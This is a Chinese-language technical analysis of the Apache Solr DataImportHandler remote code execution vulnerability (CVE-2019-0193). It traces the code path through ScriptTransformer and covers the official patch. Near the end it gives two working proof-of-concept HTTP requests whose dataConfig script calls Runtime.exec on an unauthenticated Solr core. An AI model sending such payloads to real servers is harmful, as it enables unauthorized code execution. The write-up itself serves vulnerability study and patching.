Apache Solr远程代码执行漏洞(CVE-2019-0193)

本文作者:77 @奇安信A-TEAM

在本篇文章中,我们将对Apache Solr远程代码执行漏洞(CVE-2019-0193) 进行分析。

声明:本篇文章由 77 @奇安信A-TEAM原创,仅用于技术研究,不恰当使用会造成危害,严禁违法使用,否则后果自负。

漏洞描述

Apache Solr是美国阿帕奇(Apache)软件基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器。该产品支持层面搜索、垂直搜索、高亮显示搜索结果等。Apache Solr的DataImportHandler是一个可选但常用的模块,可从数据库(通过JDBC)、RSS、Web 页面和文件中导入数据。而且这个模块的配置文件不仅可以在服务端中通过配置文件指定,也可以从用户请求的dataConfig中获取。

The entire configuration itself can be passed as a request parameter using the dataConfig parameter rather than using a file.

而为了对数据进行转换,这个dataConfig中可以包含脚本。在Apache Solr < 8.2.0 的版本中, DataImportHandler的dataConfig参数为用户可控,攻击者可通过构造恶意的dataConfig脚本交由转换器(Transformers)进行解析,而Solr在解析的过程中并未对用户输入的脚本进行检查,导致攻击者可在Solr服务器上执行任意代码。

漏洞利用的前提条件是Solr有一个具有dataimport功能的core,这个功能需要在这个core对应的 solrconfig.xml 配置文件中指定 requestHandler 节点的class属性为 solr.DataImportHandler

且Solr未开启认证(默认未开启认证),在这种情况下,Solr Admin UI上的操作是不需要登录凭据的。

开启认证可通过编辑配置文件: server/solr-webapp/webapp/WEB-INF/web.xml

参考:https://brandnewuser.iteye.com/blog/2318027

复现环境搭建

使用Solr 8.1.1进行复现。复现环境中,配置文件内容如下,没有配置任何dataSource:

漏洞分析

关键调用栈为:

transformRow:55, ScriptTransformer (org.apache.solr.handler.dataimport)
applyTransformer:222, EntityProcessorWrapper (org.apache.solr.handler.dataimport)
nextRow:280, EntityProcessorWrapper (org.apache.solr.handler.dataimport)
buildDocument:476, DocBuilder (org.apache.solr.handler.dataimport)
buildDocument:415, DocBuilder (org.apache.solr.handler.dataimport)
doFullDump:330, DocBuilder (org.apache.solr.handler.dataimport)
execute:233, DocBuilder (org.apache.solr.handler.dataimport)
doFullImport:424, DataImporter (org.apache.solr.handler.dataimport)
runCmd:483, DataImporter (org.apache.solr.handler.dataimport)
handleRequestBody:184, DataImportHandler (org.apache.solr.handler.dataimport)
handleRequest:199, RequestHandlerBase (org.apache.solr.handler)
execute:2566, SolrCore (org.apache.solr.core)
...
run:745, Thread (java.lang)

org.apache.solr.core.SolrCore#execute 开始,  用户指定的dataConfig传入 DataImportHandler 。 

org.apache.solr.handler.dataimport.DataImportHandler#handleRequestBody 中, 判断command参数,这里我们的请求是 full-import ,所以进入到这个else if中 

importer.maybeReloadConfiguration(requestParams, defaultParams);

中,将用户输入的dataConfig内容传到DataImporter对象的私有成员变量config( DIHConfiguration )中(后续会用到)。 

若用户指定了debug为true,执行

importer.runCmd(requestParams, sw);

用户没指定debug为true也没关系,会在后面的else if逻辑中, 在新线程执行runCmd方法。 

DataImporter#runCmd 中,判断command为 full-import 之后,执行

this.doFullImport(sw, reqParams);

关于Solr的delta-import和full-import功能参考:http://www.zhongruitech.com/4016598944.html

继续跟进doFullImport,

接下来的过程是:

execute:233, DocBuilder (org.apache.solr.handler.dataimport)
=> doFullDump:330, DocBuilder (org.apache.solr.handler.dataimport)
=> buildDocument:415, DocBuilder (org.apache.solr.handler.dataimport)
=> buildDocument:476, DocBuilder (org.apache.solr.handler.dataimport)
=> nextRow:267, EntityProcessorWrapper (org.apache.solr.handler.dataimport)
=> nextRow:212, XPathEntityProcessor (org.apache.solr.handler.dataimport)
=> fetchNextRow:232, XPathEntityProcessor (org.apache.solr.handler.dataimport)
=> initQuery:291, XPathEntityProcessor (org.apache.solr.handler.dataimport)
=> getData:43, URLDataSource (org.apache.solr.handler.dataimport)

其中在 DocBuilder#buildDocument 过程中,需要对 EntityProcessorWrapper 进行初始化 EntityProcessorWrapper#init 。 

在初始化的过程中,从Context里获取dataSource,

在DataImporter中,从DIHConfiguration中取DataSource:

拿到DataSource的类名之后,使用 DocBuilder.loadClass 载入这个DataSource类。在 SolrResourceLoader#findClass 中,由于我们提供的URLDataSource不是全限定名,这里需要从一个列表中遍历查找待载入的全限定名的DataSource类,通过反射载入我们的URLDataSource类,然后新建其实例。

若未指定dataSource或者未找到dataSource,则会在日志中记录这个异常,无法执行我们的payload。

然后到了向url发起请求取HTTP数据的步骤, 在 URLDataSource#getData 中, 

由于访问url的过程中,存在默认的HTTP超时时间,超时后,会抛出异常,无法执行payload。为了避免访问URL的时候出现超时导致无法执行后续步骤的情况,这里可以将url中的RSS换成一个国内的源。

向用户指定的document的entity节点中的url发起请求。从

=> nextRow:267, EntityProcessorWrapper (org.apache.solr.handler.dataimport)

这一行出来之后, 调用

applyTransformer(arow),

PS:看方法名字,大概意思是“应用这个转换器”,这里应该就是对成功拿到数据之后做的操作了。跟进一下, 

先载入转换器,在 loadTransformers() 中 

若指定的转换器名以 script: 开头,则意味着使用脚本转换器(否则略过这个if流程,直接进入下面执行指定转换器的流程),则将 script: 后面的函数名取出,并将这个函数名设置为脚本转换器( ScriptTransformer )要执行的函数名。

脚本转换器允许使用Java支持的语言(比如Javascript, JRuby, Jython, Groovy, or BeanShell)编写任意转换函数,其中Javascript语言已默认集成在Java中了,使用其他语言的话需要自己整合。每个转换函数都 必须接收一个row变量(与Java中的Map<String,Object>类型对应,所以是支持get、put、remove等操作的),函数的功能是修改已知field的值,或者添加新的fields。处理完之后,将row对象作为返回值返回。这个脚本会以最高级别插入到DIH配置文件中,每个row会调用一次。

参考:https://cwiki.apache.org/confluence/display/solr/DataImportHandler#DataImportHandler-ScriptTransformer#

在载入 ScriptTransformer 这个转换器之后, 执行

ScriptTransformer#transformRow(transformedRow, context)

在52行,先初始化脚本引擎 initEngine(context) 。在 initEngine 方法中,会从context中取出脚本的语言,和具体代码。这里执行这段js代码,由于这里只是js的函数定义,所以并没有真正执行在函数中的payload。 

在55行,最后调用 javax.script.Invocable#invokeFunction 执行我们指定的poc函数。 

Demo

PoC

这个PoC是从一个RSS站点取数据,然后取到之后调用poc函数,使用js调用java方法。关于使用js调用java参考:https://www.ibm.com/support/knowledgecenter/en/SSHS8R_8.0.0/com.ibm.worklight.dev.doc/devref/t_calling_java_code_from_a_javas.html

这里指定处理器(processor)为 XPathEntityProcessor ,这个类是对抽象类 EntityProcessor 的一个实现,根据访问url得到的xml内容,通过xpath解析器从xml文档中抽取需要的内容。它通常与 URLDataSourceFileDataSource 结合使用。

根据官方文档,可用的DataSource有以下几种:

  • ContentStreamDataSource

  • FieldReaderDataSource

  • FileDataSource

  • JdbcDataSource

  • URLDataSource

如果使用 JdbcDataSource ,需要jdbc驱动,且需要提供一个登录数据库的用户名密码。于是我们选择了不需要额外凭据的 URLDataSource 作为DataSource,配合 XPathEntityProcessor

The XPathEntityprocessor is designed to stream the xml, row by row (Think of a row as various fields in a xml element ). It uses the forEach attribute to identify a 'row'.

参考:https://cwiki.apache.org/confluence/display/solr/DataImportHandler#DataImportHandler-ScriptTransformer#

POST /solr/new_core/dataimport HTTP/1.1
Host: cqq.com:8983
Content-Length: 604
User-Agent: Mozilla/5.0
Content-type: application/x-www-form-urlencoded
Connection: close

command=full-import&debug=true&core=new_core&name=dataimport&dataConfig=
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

从前面的分析来看,既然只是看transformer中的值是否以 script: 开头,那么其实可以这样写poc,直接在script节点里调用js代码就好了,不用写成一个函数。另外发现其实还有几个不必要的参数,又精简了一下poc如下:

POST /solr/new_core/dataimport HTTP/1.1
Host: cqq.com:8983
Content-Length: 453
Content-type: application/x-www-form-urlencoded
Connection: close

command=full-import&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
  <script><![CDATA[ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
  ]]></script>
  <document>
    <entity name="a"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:" />
  </document>
</dataConfig>

然后这个core的名字 new_core 视实际情况而定。需要发送一次请求: http://cqq.com:8983/solr/admin/cores 获取。

漏洞修复

官方commit中, https://github.com/apache/lucene-solr/commit/325824cd391c8e71f36f17d687f52344e50e9715

补丁增加了一个Java系统属性 enable.dih.dataConfigParam (默认为false) 只有启动solr的时候加上参数-Denable.dih.dataConfigParam=true 这样enable.dih.dataConfigParam系统属性才为true。

使用Solr 8.2.0验证漏洞修复情况。再发同样的payload,响应403,

因为在 DataImportHandler#handleRequestBody 中,抛出了异常。 

参考

  • https://issues.apache.org/jira/browse/SOLR-13669

  • https://cwiki.apache.org/confluence/display/solr/DataImportHandler

  • https://github.com/apache/lucene-solr/commit/325824cd391c8e71f36f17d687f52344e50e9715

  • https://stackoverflow.com/questions/7081318/solr-dataimporthandler-can-i-get-a-dynamic-field-name-from-xml-attribute-with-x

  • http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201908-031

  • https://github.com/apache/lucene-solr/blob/325824cd391c8e71f36f17d687f52344e50e9715/solr/solr-ref-guide/src/uploading-structured-data-store-data-with-the-data-import-handler.adoc

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章